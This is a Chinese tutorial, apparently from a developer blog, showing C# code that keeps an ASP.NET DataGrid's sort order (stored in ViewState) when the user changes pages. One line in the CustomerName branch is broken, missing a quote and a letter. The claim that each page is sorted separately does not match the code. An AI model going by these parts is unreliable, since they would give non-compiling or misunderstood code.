天天看點

ASP.Net中DataGrid翻頁後繼續保持(目前排序)顯示

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>

要想實作翻頁後繼續排序,實作這樣的效果:

比如共 15筆記錄,每頁顯示10條

則排序時:第一頁将前10條記錄排序,翻第二頁時後五條再單獨排序.

要注意以下幾點:

1.如果資料很多,最好不要把資料集放到緩存中(viewstate),影響性能

2. ViewState中存放上次是哪個e.expression并且存放此e.expression是升序還是降序

示例如下:

1.現有的排序事件是這樣寫的,這個是點選上面排序标題時用:

  private void grdProjTrace_SortCommand(object source, DataGridSortCommandEventArgs e)

{

 this.grdProjTrace.CurrentPageIndex = 0;

 DataView dv = 得到資料代碼;

 string strSort = "";

 string strOrder ="";//排序方式。0,降序,1升序

 if(ViewState["SortExpresstion"] != null)

 {

  strSort = ViewState["SortExpresstion"].ToString();

  strSort = strSort.Substring(0,strSort.Length -1);

  strOrder = ViewState["SortExpresstion"].ToString();

  strOrder = strOrder.Substring(strOrder.Length -1);

 }

 if(e.SortExpression == "CustomerName")

 {

  if(strSort != "CustomerName")

  {

   this.ViewState["SortExpresstion"] = ustomerName0";

   dv.Sort = "CustomerName DESC";

  }

  else

  {

   if(strOrder == "0")

   {

    this.ViewState["SortExpresstion"] = "CustomerName1";

    dv.Sort = "CustomerName ASC";

   }

   else

   {

    this.ViewState["SortExpresstion"] = "CustomerName0";

    dv.Sort = "CustomerName DESC";

   }

  }

 }

if(e.SortExpression == "fullName")

 {

  if(strSort != "fullName")

  {

   this.ViewState["SortExpresstion"] = "fullName0";

   dv.Sort = "fullName DESC";

  }

  else

  {

   if(strOrder == "0")

   {

    this.ViewState["SortExpresstion"] = "fullName1";

    dv.Sort = "fullName ASC";

   }

   else

   {

    this.ViewState["SortExpresstion"] = "fullName0";

    dv.Sort = "fullName DESC";

   }

  }

 }   

        this.grdProjTrace.DataSource = dv;

 this.grdProjTrace.DataBind();

}

2.下面這個方法是自己寫的,翻頁事件中調用。

private void ChangePageDataBind()  

{

 DataView dv = 得到資料代碼;

 string strSort = "";

 string strOrder ="";//排序方式。0,降序,1升序

 if(ViewState["SortExpresstion"] != null)

 {

  strSort = ViewState["SortExpresstion"].ToString();

  strSort = strSort.Substring(0,strSort.Length -1);

  strOrder = ViewState["SortExpresstion"].ToString();

  strOrder = strOrder.Substring(strOrder.Length -1);

 }

 if(this.ViewState["SortExpresstion"] != null)

 {    

  if(strSort == "CustomerName")

  {

   if(strOrder == "1")

   {

    this.ViewState["SortExpresstion"] = "CustomerName1";

    dv.Sort = "CustomerName ASC";

   }

   else

   {

    this.ViewState["SortExpresstion"] = "CustomerName0";

    dv.Sort = "CustomerName DESC";

   }

  }

 }

 if(this.ViewState["SortExpresstion"] != null)

 {    

  if(strSort == "fullName")

  {

   if(strOrder == "1")

   {

    this.ViewState["SortExpresstion"] = "fullName1";

    dv.Sort = "fullName ASC";

   }

   else

   {

    this.ViewState["SortExpresstion"] = "fullName0";

    dv.Sort = "fullName DESC";

   }

  }

 }   

this.grdProjTrace.DataSource = dv;

this.grdProjTrace.DataBind();

}

上面兩方法隻要修改要排序的字段名,就可以直接調用了.

1方法很簡單使用,這裡就不說了.

2方法是這樣用的:

private void grdProjTrace_PageIndexChanged(object source, DataGridPageChangedEventArgs e)

{

 try

 {    

  try

  {

     this.grdProjTrace.CurrentPageIndex = e.NewPageIndex;

  }

  catch

  {

   this.grdProjTrace.CurrentPageIndex = 0;

  }

  this.ChangePageDataBind();

 }

 catch(System.Exception errWS)

 {  

         //異常

 }

}

謝謝閱讀!

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>